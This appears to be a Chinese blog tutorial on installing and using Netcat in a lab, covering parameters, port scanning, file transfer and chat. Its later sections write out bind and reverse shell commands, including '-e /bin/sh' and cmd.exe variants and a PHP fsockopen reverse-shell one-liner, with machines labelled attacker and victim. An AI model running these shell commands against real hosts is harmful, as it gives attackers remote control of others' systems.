Netcat安装与使用(nc) netcat windows用法
liebian365 2024-10-14 22:23 29 浏览 0 评论
1.Netcat简介
??Netcat 是一款简单的Unix工具,使用UDP和TCP协议,被称为网络工具中的"瑞士军*刀"。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
1.1.Netcat安装
??在Linux中都是自带Netcat的,如果没有,可以使用命令进行安装,安装完可以查看一下版本。
??在centos7.X中使用yum install nc按照的不是Netcat,需要注意。
??Windows中可以自行搜索安装,官网链接:netcat 1.11 for Win32/Win64
1.1.1.安装整体流程
1.1.1.1.安装依赖
命令:sudo yum install glibc*
1.1.1.2.安装Netcat
命令:
wget https://sourceforge.NET/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
cd /usr/local/netcat-0.7.1
./configure
make && make install
1.1.1.3.配置环境变量
命令:vi /etc/profile
export NETCAT_HOME=/usr/local/netcat-0.7.1
export PATH=$PATH:$NETCAT_HOME/bin
1.1.1.4.测试
??这里可以使用nc -v,当然也可以使用netcat,其实是因为我懒,懒得卸载重新配置。
1.2.Netcat基本功能
??telnet/获取系统bannet信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制、正方向shell等。
1.3.Netcat常用参数
??Netcat它有许多参数可供使用,以下是一些常用的Netcat参数,可以根据自己的需要选择使用,同时,Netcat还有其他更多的参数,你可以通过查看其官方文档来了解。
参数 | 介绍 |
-h | 查看帮助信息。 |
-l | 监听模式,等待其他计算机连接。 |
-p | 指定监听的端口号。 |
-u | 使用UDP协议。 |
-v | 输出详细信息,如建立连接时显示IP地址和端口号。 |
-n | 不使用DNS查找,使用IP地址进行连接。 |
-z | 将输入/输出功能关闭,进行端口扫描。 |
-s | 指定本地的IP地址。 |
-e | 在连接建立后,将标准输入和输出重定向到一个指定的程序或脚本中。 |
-w | 设置超时时间,等待连接或数据的时间。 |
-c | 发送指定字节数的数据后关闭连接。 |
-i | 设置发送数据的时间间隔。 |
-q | 设置程序退出前的最大延迟时间。 |
-k | 启用TCP保持活动状态。 |
-r | 设置随机本地端口号。 |
-t | 以telnet形式应答。 |
2.Netcat用法
??nc常常跟着的参数有两个,一个是n、一个是v。
??v参数就是列出执行过程的详细信息,n参数就只接收IP地址,没有dns,之所以使用n参数,是因为使用命令的过程中只去传入IP,减少了nc把域名解析为IP的过程,这样可以节省时间提高效率。
2.1.前期准备
??两台主机都需要安装nc,以便后面的操作,nc很小,安装很快。
??kali主机:192.168.10.20
??centos7主机:192.168.10.30
2.2.banner相关信息抓取
kali命令:nc -nv 192.168.10.30 22
2.3.端口扫描
??如果想要单纯的端口扫描的话,使用其它工具比如nmap会更好,而使用nc的主要用途就是在内网获取到权限后,再使用nc对内网进行扫描。nmap无法扫描内网。使用nc更多的是对内网扫描,若初期就需要端口扫描的话,不建议使用nc。
2.3.1.扫描指定端口
kali命令:nc -v 192.168.10.30
2.3.2.扫描指定端口段
kali命令:nc -vz 192.168.10.30 20-100
2.4.监听端口
??监听本地端口,当访问该端口时会输出该信息到命令行,这里我使用一个云服务器来监听。
云服务器命令:nc -lp 8080
2.5.文件传输
??首先在kali上开启监听,然后在centos7中发送文件,当发送文件后,kali上监听到后,就可以将文件保存下来。
??这里不单单可以发送文件,像压缩包、目录等均可以传输,不过这里需要理解两个重定向符号 <和>,>是将文件进行输出,<是将文件进行输入。
2.5.1.监听
??这里设置kali监听,简单来说就是接收文件,并将文件保存到1.txt中。
kali命令:nc -lp 333 > 1.txt
2.5.2.发送
??这里设置centos7为发送,将当前目录下的2.txt发送至kail。
centos7命令:nc -vn 192.168.10.20 333 < 2.txt
2.6.简易聊天
??nc 可以在两台机器之间相互传递信息,首先需要有一台机器进行监听一个端口,另一台以连接的方式去连接其指定的端口,这样两台机器之间建立了通信后,相互之间可以传输信息。
??为了区分,kali上输入的是数字,而centos7上输入的字母。
kali命令:nc -lp 333
centos命令:nc -vn 192.168.10.20 333
2.7.获取shell
??这里默认kail系统为攻击者、centos7系统为受害者。
2.7.1.正向获取shell
??正向获取shell就是将centos7连接kali,centos7获取kali的shell权限。简单来说就是受害者获取攻击者的shell。
??这里不使用Windows测试,只是将Windows系统的命令使用介绍一下。
2.7.1.1.攻击者
kali命令:nc -lvp 4444 -e /bin/sh
Windows命令:nc -lvp 4444 -e c:\windows\system32\cmd.exe
2.7.1.2.攻击者
centos7命令:netcat 192.168.10.20 4444
2.7.2.反向获取shell
??客户端连接服务器,服务器获取客户端的shell。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。通常反向shell是最常用的。
2.7.2.1.攻击者
kali命令:nc -lvp 4444
2.7.2.2.受害者
centos7命令:netcat 192.168.10.20 4444 -e /bin/sh
Windows命令:nc 192.168.1.1 999 -e c:\windows\system32\cmd.exe
2.8.其它获取shell
??这里其它获取shell,就是通过不同的方式进行shell的反弹。这里可以使用反弹shell命令一键生成官网进行测试。
??官网:反弹shell生成器(反弹shell命令一键生成)
2.8.1.PHP反弹shell
2.8.1.1.生成反弹命令
??这里使用官网中配置,选择php即可生成反弹shell。
命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
2.8.1.2.攻击者
??这里的攻击者就是kali,按照官网上开启监听。
kali命令:nc -lvnp 7777
2.8.1.3.受害者
??这里的受害者就是centos7,按照官网上的生成的命令进行配置,我这里centos7上没有php,所以没成功正常情况下是能够成功的,这里我主要就是演示一下。
centos7命令:php -r '$sock=fsockopen("192.168.10.20",7777);`sh -i <&3 >&3 2>&3`;'
相关推荐
- 精品博文嵌入式6410中蓝牙的使用
-
BluetoothUSB适配器拥有一个BluetoothCSR芯片组,并使用USB传输器来传输HCI数据分组。因此,LinuxUSB层、BlueZUSB传输器驱动程序以及B...
- win10跟这台计算机连接的前一个usb设备工作不正常怎么办?
-
前几天小编闲来无事就跑到网站底下查看粉丝朋友给小编我留言询问的问题,还真的就给小编看到一个问题,那就是win10跟这台计算机连接的一个usb设备运行不正常怎么办,其实这个问题的解决方法时十分简单的,接...
- 制作成本上千元的键盘,厉害在哪?
-
这是稚晖君亲自写的开源资料!下方超长超详细教程预警!!全文导航:项目简介、项目原理说明、硬件说明、软件说明项目简介瀚文智能键盘是一把我为自己设计的——多功能、模块化机械键盘。键盘使用模块化设计。左侧的...
- E-Marker芯片,USB数据线的“性能中枢”?
-
根据线缆行业的研究数据,在2019年搭载Type-C接口的设备出货量已达到20亿台,其中80%的笔记本电脑和台式电脑采用Type-C接口,50%的智能手机和平板电脑也使用Type-C接口。我们都知道,...
- ZQWL-USBCANFD二次开发通讯协议V1.04
-
修订历史:1.功能介绍1.1型号说明本文档适用以下型号: ZQWL-CAN(FD)系列产品,USB通讯采用CDC类实现,可以在PC机上虚拟出一个串口,串口参数N,8,1格式,波特率可以根据需要设置(...
- win10系统无法识别usb设备怎么办(win10不能识别usb)
-
从驱动入手,那么win10系统无法识别usb设备怎么办呢?今天就为大家分享win10系统无法识别usb设备的解决方法。1、右键选择设备管理器,如图: 2、点击更新驱动程序,如图: 3、选择浏览...
- 微软七月Win8.1可选补丁有内涵,含大量修复
-
IT之家(www.ithome.com):微软七月Win8.1可选补丁有内涵,含大量修复昨日,微软如期为Win7、Win8.1发布7月份安全更新,累计为6枚安全补丁,分别修复总计29枚安全漏洞,其中2...
- 如何从零开始做一个 USB 键盘?(怎么制作usb)
-
分两种情况:1、做一个真正的USB键盘,这种设计基本上不涉及大量的软件编码。2、做一个模拟的USB键盘,实际上可以没有按键功能,这种的需要考虑大量的软件编码,实际上是一个单片机。第一种设计:买现成的U...
- 电脑识别U盘失败?5个实用小技巧,让你轻松搞定USB识别难题
-
电脑识别U盘失败?5个实用小技巧,让你轻松搞定USB识别难题注意:有些方法会清除USB设备里的数据,请谨慎操作,如果不想丢失数据,可以先连接到其他电脑,看能否将数据复制出来,或者用一些数据恢复软件去扫...
- 未知usb设备设备描述符请求失败怎么解决
-
出现未知daousb设备设备描述符请求失du败解决办zhi法如下:1、按下Windows+R打开【运行】;2、在版本运行的权限输入框中输入:services.msc按下回车键打开【服务】;2、在服务...
- 读《飘》47章20(飘每章概括)
-
AndAhwouldn'tleaveMissEllen'sgrandchildrenfornotrashystep-patobringup,never.Here,Ah...
- 英翻中 消失的过去 37(消失的英文怎么说?)
-
翻译(三十七):消失的过去/茱迪o皮考特VanishingActs/JodiPicoult”我能做什么?“直到听到了狄利亚轻柔的声音,我才意识到她已经在厨房里站了好一会儿了。当她说话的时候,...
- RabbitMQ 延迟消息实战(rabbitmq如何保证消息不被重复消费)
-
现实生活中有一些场景需要延迟或在特定时间发送消息,例如智能热水器需要30分钟后打开,未支付的订单或发送短信、电子邮件和推送通知下午2:00开始的促销活动。RabbitMQ本身没有直接支持延迟...
- Java对象拷贝原理剖析及最佳实践(java对象拷贝方法)
-
作者:宁海翔1前言对象拷贝,是我们在开发过程中,绕不开的过程,既存在于Po、Dto、Do、Vo各个表现层数据的转换,也存在于系统交互如序列化、反序列化。Java对象拷贝分为深拷贝和浅拷贝,目前常用的...
- 如何将 Qt 3D 渲染与 Qt Quick 2D 元素结合创建太阳系行星元素?
-
Qt组件推荐:QtitanRibbon:遵循MicrosoftRibbonUIParadigmforQt技术的RibbonUI组件,致力于为Windows、Linux和MacOSX提...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)